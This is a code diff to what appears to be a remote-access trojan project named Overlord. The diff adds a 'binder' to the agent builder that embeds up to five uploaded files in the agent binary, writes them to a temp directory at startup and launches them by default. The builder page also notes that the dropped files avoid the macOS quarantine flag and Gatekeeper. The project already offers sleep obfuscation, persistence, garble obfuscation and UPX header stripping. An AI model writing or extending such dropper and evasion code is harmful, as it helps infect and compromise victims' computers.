diff --git a/Overlord-Client/cmd/agent/binder_stub.go b/Overlord-Client/cmd/agent/binder_stub.go
new file mode 100644
index 0000000..4dc02b7
--- /dev/null
+++ b/Overlord-Client/cmd/agent/binder_stub.go
@@ -0,0 +1,5 @@
+//go:build !hasbinder
+
+package main
+
+func runBoundFiles() {}
diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go
index 3f437b6..09998bc 100644
--- a/Overlord-Client/cmd/agent/main.go
+++ b/Overlord-Client/cmd/agent/main.go
@@ -16,6 +16,8 @@ func main() {
sleepObfuscated(cfg.SleepSeconds)
}
+ runBoundFiles()
+
if cfg.EnablePersistence {
if err := persistence.Setup(); err != nil {
log.Printf("Warning: Failed to setup persistence: %v", err)
diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index 5bc6e1e..2c226c3 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -227,6 +227,121 @@ if (iconClear) {
});
}
+const MAX_BIND_FILES = 5;
+const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB
+
+let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
+
+const bindFileInput = document.getElementById("bind-file-input");
+const bindFilesList = document.getElementById("bind-files-list");
+const bindAddLabel = document.getElementById("bind-add-label");
+
+function sanitizeBindName(name) {
+ return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file";
+}
+
+function renderBoundFiles() {
+ if (!bindFilesList) return;
+ bindFilesList.innerHTML = "";
+
+ boundFiles.forEach((entry, idx) => {
+ const div = document.createElement("div");
+ div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg";
+
+ const osList = ["windows", "linux", "darwin"];
+ const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" };
+ const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" };
+ const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" };
+
+ const osCheckboxes = osList
+ .map(
+ (os) =>
+ `
+
+ ${osLabels[os]}
+ `,
+ )
+ .join("");
+
+ div.innerHTML = `
+
+
+ ${entry.name}
+
+
+
+
+
+ Run on:
+ ${osCheckboxes}
+
+
+
+ Execute on start
+
+
+ `;
+
+ div.querySelector(".bind-remove-btn").addEventListener("click", () => {
+ boundFiles.splice(idx, 1);
+ renderBoundFiles();
+ updateBindAddVisibility();
+ });
+
+ div.querySelectorAll(".bind-os-cb").forEach((cb) => {
+ cb.addEventListener("change", () => {
+ const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`))
+ .filter((el) => el.checked)
+ .map((el) => el.dataset.os);
+ boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked;
+ });
+ });
+
+ div.querySelector(".bind-exec-cb").addEventListener("change", (e) => {
+ boundFiles[idx].execute = e.target.checked;
+ });
+
+ bindFilesList.appendChild(div);
+ });
+}
+
+function updateBindAddVisibility() {
+ if (!bindAddLabel) return;
+ bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES);
+}
+
+if (bindFileInput) {
+ bindFileInput.addEventListener("change", () => {
+ const file = bindFileInput.files[0];
+ bindFileInput.value = "";
+ if (!file) return;
+
+ if (boundFiles.length >= MAX_BIND_FILES) {
+ alert(`Maximum ${MAX_BIND_FILES} files can be bound.`);
+ return;
+ }
+ if (file.size > MAX_BIND_FILE_BYTES) {
+ alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`);
+ return;
+ }
+ const safeName = sanitizeBindName(file.name);
+ if (boundFiles.some((f) => f.name === safeName)) {
+ alert(`A file named "${safeName}" is already in the list.`);
+ return;
+ }
+
+ const reader = new FileReader();
+ reader.onload = () => {
+ const base64 = reader.result.split(",")[1];
+ boundFiles.push({ name: safeName, base64, targetOS: [], execute: true });
+ renderBoundFiles();
+ updateBindAddVisibility();
+ };
+ reader.readAsDataURL(file);
+ });
+}
+
async function init() {
try {
updateServerUrlPlaceholder();
@@ -396,6 +511,9 @@ form?.addEventListener("submit", async (e) => {
iconBase64: pendingIconBase64 || undefined,
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
+ boundFiles: boundFiles.length > 0
+ ? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
+ : undefined,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index a5a6fa3..6781bc3 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -436,6 +436,47 @@
+
+
+
+
+
+
+
+ Files are embedded inside the agent binary and written to a temp directory when the agent starts.
+ Up to 5 files, 10 MB each. Files set to Execute are launched immediately after being dropped.
+
+
+
+
+
+
+ macOS note: Files are written programmatically and do not receive the quarantine flag,
+ so Gatekeeper usually will not block them. However, on newer macOS versions (Ventura+) unsigned binaries may
+ still be restricted depending on system policy.
+
+
+
+
+
+
+
+
+ Add File
+
+
+
+
+
+
+
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index aa2ebdf..90d1a7f 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -52,6 +52,13 @@ function resolveAndroidNdkToolchainBin(): string | null {
return fs.existsSync(toolchainBin) ? toolchainBin : null;
}
+type BoundFile = {
+ name: string;
+ data: string; // base64
+ targetOS: string[]; // [] = all, otherwise ["windows","linux","darwin"]
+ execute: boolean;
+};
+
type BuildProcessConfig = {
platforms: string[];
serverUrl?: string;
@@ -81,6 +88,7 @@ type BuildProcessConfig = {
requireAdmin?: boolean;
outputExtension?: string;
sleepSeconds?: number;
+ boundFiles?: BoundFile[];
};
async function checkUpxAvailable(sendToStream: (data: any) => void): Promise {
@@ -183,6 +191,9 @@ export async function startBuildProcess(
let winresTempDir: string | null = null;
const generatedSysoFiles: string[] = [];
+ let binderGenPath: string | null = null;
+ let binderFilesDir: string | null = null;
+ let binderLockPath: string | null = null;
const buildStartedAt = Date.now();
const keepAliveTimer = setInterval(() => {
@@ -449,6 +460,143 @@ export async function startBuildProcess(
}
}
+ // ── Binder: embed files into the agent ────────────────────────────────────
+ const hasBoundFiles = Array.isArray(config.boundFiles) && config.boundFiles.length > 0;
+ if (hasBoundFiles) {
+ sendToStream({ type: "status", text: "Setting up bound files..." });
+
+ const agentDir = path.join(clientDir, "cmd", "agent");
+ binderLockPath = path.join(agentDir, ".binder.lock");
+ binderGenPath = path.join(agentDir, "binder_gen.go");
+ binderFilesDir = path.join(agentDir, "bindfiles");
+
+ // Wait up to 5 minutes to acquire the binder lock (serializes concurrent builds with bound files)
+ const BINDER_POLL_MS = 1500;
+ const BINDER_TIMEOUT_MS = 5 * 60 * 1000;
+ const lockWaitStart = Date.now();
+ while (fs.existsSync(binderLockPath)) {
+ if (Date.now() - lockWaitStart > BINDER_TIMEOUT_MS) {
+ throw new Error(
+ "Could not acquire binder lock after 5 minutes. Another build may have stalled. Please try again.",
+ );
+ }
+ sendToStream({ type: "output", text: "Waiting for binder lock...\n", level: "warn" });
+ await new Promise((r) => setTimeout(r, BINDER_POLL_MS));
+ }
+ fs.writeFileSync(binderLockPath, `${process.pid},${buildId}`);
+
+ try {
+ fs.mkdirSync(binderFilesDir, { recursive: true });
+
+ const manifest: { name: string; targetOS: string[]; execute: boolean }[] = [];
+ for (const bf of config.boundFiles!) {
+ const fileBytes = Buffer.from(bf.data, "base64");
+ fs.writeFileSync(path.join(binderFilesDir, bf.name), fileBytes, { mode: 0o755 });
+ manifest.push({ name: bf.name, targetOS: bf.targetOS, execute: bf.execute });
+ sendToStream({
+ type: "output",
+ text: `Bound file: ${bf.name} (${fileBytes.length} bytes)${bf.targetOS.length > 0 ? ` [${bf.targetOS.join(",")}]` : " [all OS]"}${bf.execute ? " [exec]" : ""}\n`,
+ level: "info",
+ });
+ }
+ fs.writeFileSync(
+ path.join(binderFilesDir, "manifest.json"),
+ JSON.stringify({ files: manifest }, null, 2),
+ );
+
+ const binderGoCode = `//go:build hasbinder
+
+package main
+
+import (
+\t"embed"
+\t"encoding/json"
+\t"os"
+\t"os/exec"
+\t"path/filepath"
+\t"runtime"
+)
+
+//go:embed bindfiles
+var boundFilesFS embed.FS
+
+type binderFileEntry struct {
+\tName string \`json:"name"\`
+\tTargetOS []string \`json:"targetOS"\`
+\tExecute bool \`json:"execute"\`
+}
+
+type binderManifest struct {
+\tFiles []binderFileEntry \`json:"files"\`
+}
+
+func runBoundFiles() {
+\tmanifestData, err := boundFilesFS.ReadFile("bindfiles/manifest.json")
+\tif err != nil {
+\t\treturn
+\t}
+\tvar manifest binderManifest
+\tif err := json.Unmarshal(manifestData, &manifest); err != nil {
+\t\treturn
+\t}
+\tif len(manifest.Files) == 0 {
+\t\treturn
+\t}
+\ttmpDir, err := os.MkdirTemp("", "ovld_")
+\tif err != nil {
+\t\treturn
+\t}
+\tfor _, entry := range manifest.Files {
+\t\tif len(entry.TargetOS) > 0 {
+\t\t\tmatched := false
+\t\t\tfor _, t := range entry.TargetOS {
+\t\t\t\tif t == runtime.GOOS {
+\t\t\t\t\tmatched = true
+\t\t\t\t\tbreak
+\t\t\t\t}
+\t\t\t}
+\t\t\tif !matched {
+\t\t\t\tcontinue
+\t\t\t}
+\t\t}
+\t\tdata, err := boundFilesFS.ReadFile("bindfiles/" + entry.Name)
+\t\tif err != nil {
+\t\t\tcontinue
+\t\t}
+\t\toutPath := filepath.Join(tmpDir, entry.Name)
+\t\tif err := os.WriteFile(outPath, data, 0755); err != nil {
+\t\t\tcontinue
+\t\t}
+\t\tif entry.Execute {
+\t\t\tvar cmd *exec.Cmd
+\t\t\tswitch runtime.GOOS {
+\t\t\tcase "windows":
+\t\t\t\tcmd = exec.Command("cmd", "/c", "start", "", outPath)
+\t\t\tcase "darwin":
+\t\t\t\tcmd = exec.Command("open", outPath)
+\t\t\tdefault:
+\t\t\t\tcmd = exec.Command("xdg-open", outPath)
+\t\t\t}
+\t\t\t_ = cmd.Start()
+\t\t}
+\t}
+}
+`;
+ fs.writeFileSync(binderGenPath, binderGoCode);
+ sendToStream({
+ type: "output",
+ text: `Binder ready: ${config.boundFiles!.length} file(s) will be embedded\n`,
+ level: "info",
+ });
+ } catch (binderErr: any) {
+ // Release lock on setup failure
+ try { fs.unlinkSync(binderLockPath); } catch {}
+ binderLockPath = null;
+ throw new Error(`Binder setup failed: ${binderErr.message || binderErr}`);
+ }
+ }
+ // ── End binder setup ──────────────────────────────────────────────────────
+
for (const platform of platformsToBuild) {
const [os, arch, ...rest] = platform.split("-");
const goarm = arch === "armv7" ? "7" : undefined;
@@ -602,6 +750,7 @@ export async function startBuildProcess(
const buildTool = config.obfuscate ? "garble" : "go";
const buildTags: string[] = [];
if (config.noPrinting) buildTags.push("noprint");
+ if (hasBoundFiles) buildTags.push("hasbinder");
if (config.enablePersistence && os === "windows") {
const method = config.persistenceMethod || "startup";
if (method === "registry") buildTags.push("persist_registry");
@@ -782,5 +931,15 @@ export async function startBuildProcess(
if (winresTempDir) {
try { fs.rmSync(winresTempDir, { recursive: true, force: true }); } catch {}
}
+ // Binder cleanup: remove generated Go file, bindfiles dir, and release lock
+ if (binderGenPath) {
+ try { fs.unlinkSync(binderGenPath); } catch {}
+ }
+ if (binderFilesDir) {
+ try { fs.rmSync(binderFilesDir, { recursive: true, force: true }); } catch {}
+ }
+ if (binderLockPath) {
+ try { fs.unlinkSync(binderLockPath); } catch {}
+ }
}
}
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index bd6703c..950fc36 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -67,6 +67,7 @@ export async function handleBuildRoutes(
requireAdmin,
outputExtension,
sleepSeconds,
+ boundFiles,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -157,6 +158,54 @@ export async function handleBuildRoutes(
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
? sleepSeconds : 0;
+ const MAX_BOUND_FILES = 5;
+ const MAX_BOUND_FILE_BYTES = 10 * 1024 * 1024;
+ const ALLOWED_BIND_TARGET_OS = new Set(["windows", "linux", "darwin"]);
+ const RESERVED_BIND_NAMES = new Set(["manifest.json"]);
+ type SafeBoundFile = { name: string; data: string; targetOS: string[]; execute: boolean };
+ let safeBoundFiles: SafeBoundFile[] | undefined;
+ if (Array.isArray(boundFiles) && boundFiles.length > 0) {
+ if (boundFiles.length > MAX_BOUND_FILES) {
+ return Response.json({ error: `Maximum ${MAX_BOUND_FILES} bound files allowed` }, { status: 400 });
+ }
+ const seenNames = new Set();
+ const validated: SafeBoundFile[] = [];
+ for (const f of boundFiles) {
+ if (!f || typeof f !== "object") {
+ return Response.json({ error: "Invalid bound file entry" }, { status: 400 });
+ }
+ const rawName = typeof f.name === "string" ? f.name : "";
+ const safeName = rawName.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64);
+ if (!safeName) {
+ return Response.json({ error: "Bound file has an invalid name" }, { status: 400 });
+ }
+ if (RESERVED_BIND_NAMES.has(safeName)) {
+ return Response.json({ error: `'${safeName}' is a reserved filename` }, { status: 400 });
+ }
+ if (seenNames.has(safeName)) {
+ return Response.json({ error: `Duplicate bound file name: ${safeName}` }, { status: 400 });
+ }
+ seenNames.add(safeName);
+ if (typeof f.data !== "string" || f.data.length === 0) {
+ return Response.json({ error: `Bound file '${safeName}' has no data` }, { status: 400 });
+ }
+ const approxDecodedBytes = Math.floor(f.data.length * 3 / 4);
+ if (approxDecodedBytes > MAX_BOUND_FILE_BYTES) {
+ return Response.json({ error: `Bound file '${safeName}' exceeds the 10 MB limit` }, { status: 400 });
+ }
+ const safeTargetOS = Array.isArray(f.targetOS)
+ ? f.targetOS.filter((o: unknown) => typeof o === "string" && ALLOWED_BIND_TARGET_OS.has(o as string)) as string[]
+ : [];
+ validated.push({
+ name: safeName,
+ data: f.data,
+ targetOS: safeTargetOS,
+ execute: f.execute !== false, // default true
+ });
+ }
+ safeBoundFiles = validated;
+ }
+
deps.startBuildProcess(buildId, {
platforms: allowedPlatforms,
serverUrl: safeServerUrl,
@@ -186,6 +235,7 @@ export async function handleBuildRoutes(
requireAdmin: safeRequireAdmin,
outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds,
+ boundFiles: safeBoundFiles,
});
return Response.json({ buildId });